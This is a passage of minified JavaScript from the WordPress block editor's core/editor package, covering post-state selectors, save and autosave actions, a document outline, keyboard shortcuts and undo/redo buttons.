24"},(0,i.createElement)(P.Path,{d:"M18.5 10.5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),R=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{fillRule:"evenodd",d:"M18 5.5h-8v8h8.5V6a.5.5 0 00-.5-.5zm-9.5 8h-3V6a.5.5 0 01.5-.5h2.5v8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),D=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),L=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"}));function O(e){return"header"===e?N:"footer"===e?R:"sidebar"===e?D:L}const U={},F=[],M=(0,l.createRegistrySelector)((e=>()=>e(c.store).hasUndo())),z=(0,l.createRegistrySelector)((e=>()=>e(c.store).hasRedo()));function V(e){return"auto-draft"===$(e).status}function H(e){const t=X(e);return"blocks"in t||"content"in t}const W=(0,l.createRegistrySelector)((e=>t=>{const n=K(t),o=Y(t);return!!e(c.store).hasEditsForEntityRecord("postType",n,o)})),G=(0,l.createRegistrySelector)((e=>t=>{const n=e(c.store).__experimentalGetDirtyEntityRecords(),{type:o,id:s}=$(t);return n.some((e=>"postType"!==e.kind||e.name!==o||e.key!==s))}));function j(e){return!W(e)&&V(e)}const $=(0,l.createRegistrySelector)((e=>t=>{const n=Y(t),o=K(t);return e(c.store).getRawEntityRecord("postType",o,n)||U}));function K(e){return e.postType}function Y(e){return e.postId}function q(e){var t,n,o,s;return null!==(t=null===(n=$(e)._links)||void 0===n||null===(o=n["version-history"])||void 0===o||null===(s=o[0])||void 0===s?void 0:s.count)&&void 0!==t?t:0}function Q(e){var t,n,o,s;return null!==(t=null===(n=$(e)._links)||void 0===n||null===(o=n["predecessor-version"])||void 0===o||null===(s=o[0])||void 0===s?void 0:s.id)&&void 0!==t?t:null}const X=(0,l.createRegistrySelector)((e=>t=>{const n=K(t),o=Y(t);return e(c.store).getEntityRecordEdits("postType",n,o)||U}));function Z(e,t){switch(t){case"type":return K(e);case"id":return Y(e);default:const n=$(e);if(!n.hasOwnProperty(t))break;return h(n[t])}}function J(e,t){if("content"===t)return be(e);const n=X(e);return n.hasOwnProperty(t)?T.has(t)?((e,t)=>{const n=X(e);return n.hasOwnProperty(t)?{...Z(e,t),...n[t]}:Z(e,t)})(e,t):n[t]:Z(e,t)}const ee=(0,l.createRegistrySelector)((e=>(t,n)=>{var o;if(!I.includes(n)&&"preview_link"!==n)return;const s=K(t),i=Y(t),r=null===(o=e(c.store).getCurrentUser())||void 0===o?void 0:o.id,a=e(c.store).getAutosave(s,i,r);return a?h(a[n]):void 0}));function te(e){return"private"===J(e,"status")?"private":J(e,"password")?"password":"public"}function ne(e){return"pending"===$(e).status}function oe(e,t){const n=t||$(e);return-1!==["publish","private"].indexOf(n.status)||"future"===n.status&&!(0,b.isInTheFuture)(new Date(Number((0,b.getDate)(n.date))-6e4))}function se(e){return"future"===$(e).status&&!oe(e)}function ie(e){const t=$(e);return W(e)||-1===["publish","private","future"].indexOf(t.status)}function re(e){return!(pe(e)||!J(e,"title")&&!J(e,"excerpt")&&ae(e)&&"native"!==i.Platform.OS)}function ae(e){const t=De(e);if(t.length){if(t.length>1)return!1;const e=t[0].name;if(e!==(0,a.getDefaultBlockName)()&&e!==(0,a.getFreeformContentHandlerName)())return!1}return!be(e)}const le=(0,l.createRegistrySelector)((e=>t=>{var n;if(!re(t))return!1;if(xe(t))return!1;const o=K(t),s=Y(t),i=e(c.store).hasFetchedAutosaves(o,s),r=null===(n=e(c.store).getCurrentUser())||void 0===n?void 0:n.id,a=e(c.store).getAutosave(o,s,r);return!!i&&(!a||!!H(t)||["title","excerpt"].some((e=>h(a[e])!==J(t,e))))}));function ce(e){const t=J(e,"date"),n=new Date(Number((0,b.getDate)(t))-6e4);return(0,b.isInTheFuture)(n)}function ue(e){const t=J(e,"date"),n=J(e,"modified"),o=$(e).status;return!("draft"!==o&&"auto-draft"!==o&&"pending"!==o||t!==n&&null!==t)}function de(e){return!!e.deleting.pending}const pe=(0,l.createRegistrySelector)((e=>t=>{const n=K(t),o=Y(t);return e(c.store).isSavingEntityRecord("postType",n,o)})),me=(0,l.createRegistrySelector)((e=>t=>{const n=e(c.store).__experimentalGetEntitiesBeingSaved(),{type:o,id:s}=$(t);return n.some((e=>"postType"!==e.kind||e.name!==o||e.key!==s))})),he=(0,l.createRegistrySelector)((e=>t=>{const n=K(t),o=Y(t);return!e(c.store).getLastEntitySaveError("postType",n,o)})),ge=(0,l.createRegistrySelector)((e=>t=>{const n=K(t),o=Y(t);return!!e(c.store).getLastEntitySaveError("postType",n,o)}));function ve(e){var t;return!!pe(e)&&Boolean(null===(t=e.saving.options)||void 0===t?void 0:t.isAutosave)}function _e(e){var t;return!!pe(e)&&Boolean(null===(t=e.saving.options)||void 0===t?void 0:t.isPreview)}function fe(e){if(e.saving.pending||pe(e))return;let t=ee(e,"preview_link");t&&"draft"!==$(e).status||(t=J(e,"link"),t&&(t=(0,E.addQueryArgs)(t,{preview:!0})));const n=J(e,"featured_media");return t&&n?(0,E.addQueryArgs)(t,{_thumbnail_id:n}):t}function ye(e){const t=De(e);if(t.length>2)return null;let n;if(1===t.length&&(n=t[0].name,"core/embed"===n)){var o;const e=null===(o=t[0].attributes)||void 0===o?void 0:o.providerNameSlug;["youtube","vimeo"].includes(e)?n="core/video":["spotify","soundcloud"].includes(e)&&(n="core/audio")}switch(2===t.length&&"core/paragraph"===t[1].name&&(n=t[0].name),n){case"core/image":return"image";case"core/quote":case"core/pullquote":return"quote";case"core/gallery":return"gallery";case"core/video":return"video";case"core/audio":return"audio";default:return null}}const be=(0,l.createRegistrySelector)((e=>t=>{const n=Y(t),o=K(t),s=e(c.store).getEditedEntityRecord("postType",o,n);if(s){if("function"==typeof s.content)return s.content(s);if(s.blocks)return(0,a.__unstableSerializeAndClean)(s.blocks);if(s.content)return s.content}return""}));function Ee(e){return pe(e)&&!oe(e)&&"publish"===J(e,"status")}function Se(e){const t=J(e,"permalink_template");return A.test(t)}function we(e){const t=ke(e);if(!t)return null;const{prefix:n,postName:o,suffix:s}=t;return Se(e)?n+o+s:n}function Pe(e){return J(e,"slug")||(0,E.cleanForSlug)(J(e,"title"))||Y(e)}function ke(e){const t=J(e,"permalink_template");if(!t)return null;const n=J(e,"slug")||J(e,"generated_slug"),[o,s]=t.split(A);return{prefix:o,postName:n,suffix:s}}function Ce(e){return e.postLock.isLocked}function Te(e){return Object.keys(e.postSavingLock).length>0}function xe(e){return Object.keys(e.postAutosavingLock).length>0}function Be(e){return e.postLock.isTakeover}function Ae(e){return e.postLock.user}function Ie(e){return e.postLock.activePostLock}function Ne(e){var t;return Boolean(null===(t=$(e)._links)||void 0===t?void 0:t.hasOwnProperty("wp:action-unfiltered-html"))}const Re=(0,l.createRegistrySelector)((e=>()=>!!e(C.store).get("core/edit-post","isPublishSidebarEnabled")));function De(e){return J(e,"blocks")||F}function Le(e){var t;return w()("select('core/editor').getEditorSelectionStart",{since:"5.8",alternative:"select('core/editor').getEditorSelection"}),null===(t=J(e,"selection"))||void 0===t?void 0:t.selectionStart}function Oe(e){var t;return w()("select('core/editor').getEditorSelectionStart",{since:"5.8",alternative:"select('core/editor').getEditorSelection"}),null===(t=J(e,"selection"))||void 0===t?void 0:t.selectionEnd}function Ue(e){return J(e,"selection")}function Fe(e){return e.isReady}function Me(e){return e.editorSettings}function ze(){return w()("select('core/editor').getStateBeforeOptimisticTransaction",{since:"5.7",hint:"No state history is kept on this store anymore"}),null}function Ve(){return w()("select('core/editor').inSomeHistory",{since:"5.7",hint:"No state history is kept on this store anymore"}),!1}function He(e){return(0,l.createRegistrySelector)((t=>function(n){w()("`wp.data.select( 'core/editor' )."+e+"`",{since:"5.3",alternative:"`wp.data.select( 'core/block-editor' )."+e+"`",version:"6.2"});for(var o=arguments.length,s=new Array(o>1?o-1:0),i=1;i<o;i++)s[i-1]=arguments[i];return t(p.store)[e](...s)}))}const We=He("getBlockName"),Ge=He("isBlockValid"),je=He("getBlockAttributes"),$e=He("getBlock"),Ke=He("getBlocks"),Ye=He("getClientIdsOfDescendants"),qe=He("getClientIdsWithDescendants"),Qe=He("getGlobalBlockCount"),Xe=He("getBlocksByClientId"),Ze=He("getBlockCount"),Je=He("getBlockSelectionStart"),et=He("getBlockSelectionEnd"),tt=He("getSelectedBlockCount"),nt=He("hasSelectedBlock"),ot=He("getSelectedBlockClientId"),st=He("getSelectedBlock"),it=He("getBlockRootClientId"),rt=He("getBlockHierarchyRootClientId"),at=He("getAdjacentBlockClientId"),lt=He("getPreviousBlockClientId"),ct=He("getNextBlockClientId"),ut=He("getSelectedBlocksInitialCaretPosition"),dt=He("getMultiSelectedBlockClientIds"),pt=He("getMultiSelectedBlocks"),mt=He("getFirstMultiSelectedBlockClientId"),ht=He("getLastMultiSelectedBlockClientId"),gt=He("isFirstMultiSelectedBlock"),vt=He("isBlockMultiSelected"),_t=He("isAncestorMultiSelected"),ft=He("getMultiSelectedBlocksStartClientId"),yt=He("getMultiSelectedBlocksEndClientId"),bt=He("getBlockOrder"),Et=He("getBlockIndex"),St=He("isBlockSelected"),wt=He("hasSelectedInnerBlock"),Pt=He("isBlockWithinSelection"),kt=He("hasMultiSelection"),Ct=He("isMultiSelecting"),Tt=He("isSelectionEnabled"),xt=He("getBlockMode"),Bt=He("isTyping"),At=He("isCaretWithinFormattedText"),It=He("getBlockInsertionPoint"),Nt=He("isBlockInsertionPointVisible"),Rt=He("isValidTemplate"),Dt=He("getTemplate"),Lt=He("getTemplateLock"),Ot=He("canInsertBlockType"),Ut=He("getInserterItems"),Ft=He("hasInserterItems"),Mt=He("getBlockListSettings");function zt(e){var t;return null===(t=Me(e))||void 0===t?void 0:t.defaultTemplateTypes}const Vt=y((e=>{var t;const n=(null===(t=Me(e))||void 0===t?void 0:t.defaultTemplatePartAreas)||[];return null==n?void 0:n.map((e=>({...e,icon:O(e.icon)})))}),(e=>{var t;return[null===(t=Me(e))||void 0===t?void 0:t.defaultTemplatePartAreas]})),Ht=y(((e,t)=>{var n;const o=zt(e);return o&&null!==(n=Object.values(o).find((e=>e.slug===t)))&&void 0!==n?n:U}),((e,t)=>[zt(e),t]));function Wt(e,t){var n;if(!t)return U;const{description:o,slug:s,title:i,area:r}=t,{title:a,description:l}=Ht(e,s),c="string"==typeof i?i:null==i?void 0:i.rendered;return{title:c&&c!==s?c:a||s,description:("string"==typeof o?o:null==o?void 0:o.raw)||l,icon:(null===(n=Vt(e).find((e=>r===e.area)))||void 0===n?void 0:n.icon)||k}}const Gt=(0,l.createRegistrySelector)((e=>t=>{var n;const o=K(t),s=e(c.store).getPostType(o);return null==s||null===(n=s.labels)||void 0===n?void 0:n.singular_name})),jt=window.wp.apiFetch;var $t=n.n(jt);const Kt=window.wp.notices;function Yt(e,t){return`wp-autosave-block-editor-post-${t?"auto-draft":e}`}function qt(e,t,n,o,s){window.sessionStorage.setItem(Yt(e,t),JSON.stringify({post_title:n,content:o,excerpt:s}))}function Qt(e,t){window.sessionStorage.removeItem(Yt(e,t))}const Xt=window.wp.i18n;function Zt(e){const{previousPost:t,post:n,postType:o}=e;if((0,r.get)(e.options,["isAutosave"]))return[];if("trash"===n.status&&"trash"!==t.status)return[];const s=["publish","private","future"],i=(0,r.includes)(s,t.status),a=(0,r.includes)(s,n.status);let l,c,u=(0,r.get)(o,["viewable"],!1);i||a?i&&!a?(l=o.labels.item_reverted_to_draft,u=!1):l=!i&&a?{publish:o.labels.item_published,private:o.labels.item_published_privately,future:o.labels.item_scheduled}[n.status]:o.labels.item_updated:(l=(0,Xt.__)("Draft saved."),c=!0);const d=[];return u&&d.push({label:c?(0,Xt.__)("View Preview"):o.labels.view_item,url:n.link}),[l,{id:x,type:"snackbar",actions:d}]}function Jt(e){const{post:t,edits:n,error:o}=e;if(o&&"rest_autosave_no_changes"===o.code)return[];const s=["publish","private","future"],i=-1!==s.indexOf(t.status),r={publish:(0,Xt.__)("Publishing failed."),private:(0,Xt.__)("Publishing failed."),future:(0,Xt.__)("Scheduling failed.")};let a=i||-1===s.indexOf(n.status)?(0,Xt.__)("Updating failed."):r[n.status];return o.message&&!/<\/?[^>]*>/.test(o.message)&&(a=[a,o.message].join(" ")),[a,{id:x}]}const en=(e,t,n)=>o=>{let{dispatch:s}=o;if(s.setupEditorState(e),"auto-draft"===e.status&&n){let o;o="content"in t?t.content:e.content.raw;let i=(0,a.parse)(o);i=(0,a.synchronizeBlocksWithTemplate)(i,n),s.resetEditorBlocks(i,{__unstableShouldCreateUndoLevel:!1})}t&&Object.values(t).some((t=>{var n,o;let[s,i]=t;return i!==(null!==(n=null===(o=e[s])||void 0===o?void 0:o.raw)&&void 0!==n?n:e[s])}))&&s.editPost(t)};function tn(){return{type:"TEAR_DOWN_EDITOR"}}function nn(){return w()("wp.data.dispatch( 'core/editor' ).resetPost",{since:"6.0",version:"6.3",alternative:"Initialize the editor with the setupEditorState action"}),{type:"DO_NOTHING"}}function on(){return w()("wp.data.dispatch( 'core/editor' ).updatePost",{since:"5.7",alternative:"Use the core entities store instead"}),{type:"DO_NOTHING"}}function sn(e){return{type:"SETUP_EDITOR_STATE",post:e}}const rn=(e,t)=>n=>{let{select:o,registry:s}=n;const{id:i,type:r}=o.getCurrentPost();s.dispatch(c.store).editEntityRecord("postType",r,i,e,t)},an=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return async t=>{let{select:n,dispatch:o,registry:s}=t;if(!n.isEditedPostSaveable())return;const i=n.getEditedPostContent();e.isAutosave||o.editPost({content:i},{undoIgnore:!0});const r=n.getCurrentPost(),a={id:r.id,...s.select(c.store).getEntityRecordNonTransientEdits("postType",r.type,r.id),content:i};o({type:"REQUEST_POST_UPDATE_START",options:e}),await s.dispatch(c.store).saveEntityRecord("postType",r.type,a,e),o({type:"REQUEST_POST_UPDATE_FINISH",options:e});const l=s.select(c.store).getLastEntitySaveError("postType",r.type,r.id);if(l){const e=Jt({post:r,edits:a,error:l});e.length&&s.dispatch(Kt.store).createErrorNotice(...e)}else{const t=n.getCurrentPost(),o=Zt({previousPost:r,post:t,postType:await s.resolveSelect(c.store).getPostType(t.type),options:e});o.length&&s.dispatch(Kt.store).createSuccessNotice(...o),e.isAutosave||s.dispatch(p.store).__unstableMarkLastChangeAsPersistent()}}};function ln(){return w()("wp.data.dispatch( 'core/editor' ).refreshPost",{since:"6.0",version:"6.3",alternative:"Use the core entities store instead"}),{type:"DO_NOTHING"}}const cn=()=>async e=>{let{select:t,dispatch:n,registry:o}=e;const s=t.getCurrentPostType(),i=await o.resolveSelect(c.store).getPostType(s);o.dispatch(Kt.store).removeNotice(B);const{rest_base:r,rest_namespace:a="wp/v2"}=i;n({type:"REQUEST_POST_DELETE_START"});try{const e=t.getCurrentPost();await $t()({path:`/${a}/${r}/${e.id}`,method:"DELETE"}),await n.savePost()}catch(e){o.dispatch(Kt.store).createErrorNotice(...(l={error:e},[l.error.message&&"unknown_error"!==l.error.code?l.error.message:(0,Xt.__)("Trashing failed"),{id:B}]))}var l;n({type:"REQUEST_POST_DELETE_FINISH"})},un=function(){let{local:e=!1,...t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return async n=>{let{select:o,dispatch:s}=n;if(e){const e=o.getCurrentPost(),t=o.isEditedPostNew(),n=o.getEditedPostAttribute("title"),s=o.getEditedPostAttribute("content"),i=o.getEditedPostAttribute("excerpt");qt(e.id,t,n,s,i)}else await s.savePost({isAutosave:!0,...t})}},dn=()=>e=>{let{registry:t}=e;t.dispatch(c.store).redo()},pn=()=>e=>{let{registry:t}=e;t.dispatch(c.store).undo()};function mn(){return w()("wp.data.dispatch( 'core/editor' ).createUndoLevel",{since:"6.0",version:"6.3",alternative:"Use the core entities store instead"}),{type:"DO_NOTHING"}}function hn(e){return{type:"UPDATE_POST_LOCK",lock:e}}const gn=()=>e=>{let{registry:t}=e;t.dispatch(C.store).set("core/edit-post","isPublishSidebarEnabled",!0)},vn=()=>e=>{let{registry:t}=e;t.dispatch(C.store).set("core/edit-post","isPublishSidebarEnabled",!1)};function fn(e){return{type:"LOCK_POST_SAVING",lockName:e}}function yn(e){return{type:"UNLOCK_POST_SAVING",lockName:e}}function bn(e){return{type:"LOCK_POST_AUTOSAVING",lockName:e}}function En(e){return{type:"UNLOCK_POST_AUTOSAVING",lockName:e}}const Sn=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return n=>{let{select:o,dispatch:s,registry:i}=n;const{__unstableShouldCreateUndoLevel:r,selection:l}=t,u={blocks:e,selection:l};if(!1!==r){const{id:e,type:t}=o.getCurrentPost();if(i.select(c.store).getEditedEntityRecord("postType",t,e).blocks===u.blocks)return void i.dispatch(c.store).__unstableCreateUndoLevel("postType",t,e);u.content=e=>{let{blocks:t=[]}=e;return(0,a.__unstableSerializeAndClean)(t)}}s.editPost(u)}};function wn(e){return{type:"UPDATE_EDITOR_SETTINGS",settings:e}}const Pn=e=>function(){for(var t=arguments.length,n=new Array(t),o=0;o<t;o++)n[o]=arguments[o];return t=>{let{registry:o}=t;w()("`wp.data.dispatch( 'core/editor' )."+e+"`",{since:"5.3",alternative:"`wp.data.dispatch( 'core/block-editor' )."+e+"`",version:"6.2"}),o.dispatch(p.store)[e](...n)}},kn=Pn("resetBlocks"),Cn=Pn("receiveBlocks"),Tn=Pn("updateBlock"),xn=Pn("updateBlockAttributes"),Bn=Pn("selectBlock"),An=Pn("startMultiSelect"),In=Pn("stopMultiSelect"),Nn=Pn("multiSelect"),Rn=Pn("clearSelectedBlock"),Dn=Pn("toggleSelection"),Ln=Pn("replaceBlocks"),On=Pn("replaceBlock"),Un=Pn("moveBlocksDown"),Fn=Pn("moveBlocksUp"),Mn=Pn("moveBlockToPosition"),zn=Pn("insertBlock"),Vn=Pn("insertBlocks"),Hn=Pn("showInsertionPoint"),Wn=Pn("hideInsertionPoint"),Gn=Pn("setTemplateValidity"),jn=Pn("synchronizeTemplate"),$n=Pn("mergeBlocks"),Kn=Pn("removeBlocks"),Yn=Pn("removeBlock"),qn=Pn("toggleBlockMode"),Qn=Pn("startTyping"),Xn=Pn("stopTyping"),Zn=Pn("enterFormattedText"),Jn=Pn("exitFormattedText"),eo=Pn("insertDefaultBlock"),to=Pn("updateBlockListSettings"),no={reducer:g,selectors:e,actions:t},oo=(0,l.createReduxStore)("core/editor",{...no});function so(e){const t=(0,r.mapValues)((0,r.pickBy)(e.attributes,{source:"meta"}),"meta");return(0,r.isEmpty)(t)||(e.edit=(e=>(0,u.createHigherOrderComponent)((t=>n=>{let{attributes:o,setAttributes:a,...u}=n;const d=(0,l.useSelect)((e=>e(oo).getCurrentPostType()),[]),[p,m]=(0,c.useEntityProp)("postType",d,"meta"),h=(0,i.useMemo)((()=>({...o,...(0,r.mapValues)(e,(e=>p[e]))})),[o,p]);return(0,i.createElement)(t,s({attributes:h,setAttributes:t=>{const n=Object.fromEntries(Object.entries((0,r.pickBy)(t,((t,n)=>e[n]))).map((t=>{let[n,o]=t;return[e[n],o]})));(0,r.isEmpty)(n)||m(n),a(t)}},u))}),"withMetaAttributeSource"))(t)(e.edit)),e}function io(e){const t=e.avatar_urls&&e.avatar_urls[24]?(0,i.createElement)("img",{className:"editor-autocompleters__user-avatar",alt:"",src:e.avatar_urls[24]}):(0,i.createElement)("span",{className:"editor-autocompleters__no-avatar"});return(0,i.createElement)(i.Fragment,null,t,(0,i.createElement)("span",{className:"editor-autocompleters__user-name"},e.name),(0,i.createElement)("span",{className:"editor-autocompleters__user-slug"},e.slug))}(0,l.register)(oo),(0,d.addFilter)("blocks.registerBlockType","core/editor/custom-sources-backwards-compatibility/shim-attribute-source",so),(0,l.select)(a.store).getBlockTypes().map((e=>{let{name:t}=e;return(0,l.select)(a.store).getBlockType(t)})).forEach(so);const ro={name:"users",className:"editor-autocompleters__user",triggerPrefix:"@",useItems(e){const t=(0,l.useSelect)((t=>{const{getUsers:n}=t(c.store);return n({context:"view",search:encodeURIComponent(e)})}),[e]),n=(0,i.useMemo)((()=>t?t.map((e=>({key:`user-${e.slug}`,value:e,label:io(e)}))):[]),[t]);return[n]},getOptionCompletion:e=>`@${e.slug}`};(0,d.addFilter)("editor.Autocomplete.completers","editor/autocompleters/set-default-completers",(function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return e.push((0,r.clone)(ro)),e}));class ao extends i.Component{constructor(e){super(e),this.needsAutosave=!(!e.isDirty||!e.isAutosaveable)}componentDidMount(){this.props.disableIntervalChecks||this.setAutosaveTimer()}componentDidUpdate(e){this.props.disableIntervalChecks?this.props.editsReference!==e.editsReference&&this.props.autosave():(this.props.interval!==e.interval&&(clearTimeout(this.timerId),this.setAutosaveTimer()),!this.props.isDirty||this.props.isAutosaving&&!e.isAutosaving?this.needsAutosave=!1:this.props.editsReference!==e.editsReference&&(this.needsAutosave=!0))}componentWillUnmount(){clearTimeout(this.timerId)}setAutosaveTimer(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1e3*this.props.interval;this.timerId=setTimeout((()=>{this.autosaveTimerHandler()}),e)}autosaveTimerHandler(){this.props.isAutosaveable?(this.needsAutosave&&(this.needsAutosave=!1,this.props.autosave()),this.setAutosaveTimer()):this.setAutosaveTimer(1e3)}render(){return null}}const lo=(0,u.compose)([(0,l.withSelect)(((e,t)=>{const{getReferenceByDistinctEdits:n}=e(c.store),{isEditedPostDirty:o,isEditedPostAutosaveable:s,isAutosavingPost:i,getEditorSettings:r}=e(oo),{interval:a=r().autosaveInterval}=t;return{editsReference:n(),isDirty:o(),isAutosaveable:s(),isAutosaving:i(),interval:a}})),(0,l.withDispatch)(((e,t)=>({autosave(){const{autosave:n=e(oo).autosave}=t;n()}})))])(ao),co=window.wp.richText;var uo=n(4403),po=n.n(uo);const mo=e=>{let{children:t,isValid:n,level:o,href:s,onSelect:r}=e;return(0,i.createElement)("li",{className:po()("document-outline__item",`is-${o.toLowerCase()}`,{"is-invalid":!n})},(0,i.createElement)("a",{href:s,className:"document-outline__button",onClick:r},(0,i.createElement)("span",{className:"document-outline__emdash","aria-hidden":"true"}),(0,i.createElement)("strong",{className:"document-outline__level"},o),(0,i.createElement)("span",{className:"document-outline__item-content"},t)))},ho=(0,i.createElement)("em",null,(0,Xt.__)("(Empty heading)")),go=[(0,i.createElement)("br",{key:"incorrect-break"}),(0,i.createElement)("em",{key:"incorrect-message"},(0,Xt.__)("(Incorrect heading level)"))],vo=[(0,i.createElement)("br",{key:"incorrect-break-h1"}),(0,i.createElement)("em",{key:"incorrect-message-h1"},(0,Xt.__)("(Your theme may already use a H1 for the post title)"))],_o=[(0,i.createElement)("br",{key:"incorrect-break-multiple-h1"}),(0,i.createElement)("em",{key:"incorrect-message-multiple-h1"},(0,Xt.__)("(Multiple H1 headings are not recommended)"))],fo=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];return e.flatMap((function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return"core/heading"===e.name?{...e,level:e.attributes.level,isEmpty:yo(e)}:fo(e.innerBlocks)}))},yo=e=>!e.attributes.content||0===e.attributes.content.length,bo=(0,u.compose)((0,l.withSelect)((e=>{var t,n;const{getBlocks:o}=e(p.store),{getEditedPostAttribute:s}=e(oo),{getPostType:i}=e(c.store),r=i(s("type"));return{title:s("title"),blocks:o(),isTitleSupported:null!==(t=null==r||null===(n=r.supports)||void 0===n?void 0:n.title)&&void 0!==t&&t}})))((e=>{let{blocks:t=[],title:n,onSelect:o,isTitleSupported:s,hasOutlineItemsDisabled:r}=e;const a=fo(t);if(a.length<1)return null;let l=1;const c=document.querySelector(".editor-post-title__input"),u=s&&n&&c,d=a.reduce(((e,t)=>({...e,[t.level]:(e[t.level]||0)+1})),{})[1]>1;return(0,i.createElement)("div",{className:"document-outline"},(0,i.createElement)("ul",null,u&&(0,i.createElement)(mo,{level:(0,Xt.__)("Title"),isValid:!0,onSelect:o,href:`#${c.id}`,isDisabled:r},n),a.map(((e,t)=>{const n=e.level>l+1,s=!(e.isEmpty||n||!e.level||1===e.level&&(d||u));return l=e.level,(0,i.createElement)(mo,{key:t,level:`H${e.level}`,isValid:s,isDisabled:r,href:`#block-${e.clientId}`,onSelect:o},e.isEmpty?ho:(0,co.getTextContent)((0,co.create)({html:e.attributes.content})),n&&go,1===e.level&&d&&_o,u&&1===e.level&&!d&&vo)}))))})),Eo=(0,l.withSelect)((e=>({blocks:e(p.store).getBlocks()})))((function(e){let{blocks:t,children:n}=e;return(0,r.filter)(t,(e=>"core/heading"===e.name)).length<1?null:n})),So=window.wp.keyboardShortcuts,wo=function(e){let{resetBlocksOnSave:t}=e;const{resetEditorBlocks:n,savePost:o}=(0,l.useDispatch)(oo),{isEditedPostDirty:s,getPostEdits:i,isPostSavingLocked:r}=(0,l.useSelect)(oo);return(0,So.useShortcut)("core/editor/save",(e=>{if(e.preventDefault(),!r()&&s()){if(t){const e=i();if(e.content&&"string"==typeof e.content){const t=(0,a.parse)(e.content);n(t)}}o()}})),null},Po=function(){const{redo:e,undo:t}=(0,l.useDispatch)(oo);return(0,So.useShortcut)("core/editor/undo",(e=>{t(),e.preventDefault()})),(0,So.useShortcut)("core/editor/redo",(t=>{e(),t.preventDefault()})),(0,i.createElement)(wo,null)};function ko(){return(0,i.createElement)(wo,{resetBlocksOnSave:!0})}const Co=window.wp.keycodes,To=function(){const{registerShortcut:e}=(0,l.useDispatch)(So.store);return(0,i.useEffect)((()=>{e({name:"core/editor/save",category:"global",description:(0,Xt.__)("Save your changes."),keyCombination:{modifier:"primary",character:"s"}}),e({name:"core/editor/undo",category:"global",description:(0,Xt.__)("Undo your last changes."),keyCombination:{modifier:"primary",character:"z"}}),e({name:"core/editor/redo",category:"global",description:(0,Xt.__)("Redo your last undo."),keyCombination:{modifier:"primaryShift",character:"z"},aliases:(0,Co.isAppleOS)()?[]:[{modifier:"primary",character:"y"}]})}),[e]),(0,i.createElement)(p.BlockEditorKeyboardShortcuts.Register,null)},xo=window.wp.components,Bo=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z"})),Ao=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z"})),Io=(0,i.forwardRef)((function(e,t){const n=(0,Co.isAppleOS)()?Co.displayShortcut.primaryShift("z"):Co.displayShortcut.primary("y"),o=(0,l.useSelect)((e=>e(oo).hasEditorRedo()),[]),{redo:r}=(0,l.useDispatch)(oo);return(0,i.createElement)(xo.Button,s({},e,{ref:t,icon:(0,Xt.isRTL)()?Ao
/* translators: button label text should, if possible, be under 16 characters. */:Bo,label:(0,Xt.__)("Redo"),shortcut:n,"aria-disabled":!o,onClick:o?r:void 0,className:"editor-history__redo"}))})),No=(0,i.forwardRef)((function(e,t){const n=(0,l.useSelect)((e=>e(oo).hasEditorUndo()),[]),{undo:o}=(0,l.useDispatch)(oo);return(0,i.createElement)(xo.Button,s({},e,{ref:t,icon:(0,Xt.isRTL)()?Bo
/* translators: button label text should, if possible, be under 16 characters. */:Ao,label:(0,Xt.__)("Undo"),shortcut:Co.displayShortcut.primary("z"),"aria-disabled":!n,onClick:n?o:void 0,className:"editor-history__undo"}))})),Ro=(0,u.compose)([(0,l.withSelect)((e=>({isValid:e(p.store).isValidTemplate()}))),(0,l.withDispatch)((e=>{const{setTemplateValidity:t,synchronizeTemplate:n}=e(p.store);return{resetTemplateValidity:()=>t(!0),synchronizeTemplate:n}}))])((function(e){let{isValid:t,...n}=e;return t?null:(0,i.createElement)(xo.Notice,{className:"editor-template-validation-notice",isDismissible:!1,status:"warning",actions:[{label:(0,Xt.__)("Keep it as is"),onClick:n.resetTemplateValidity},{label:(0,Xt.__)("Reset the template"),onClick:()=>{window.confirm((0,Xt.__)("Resetting the template may result in loss of content, do you want to 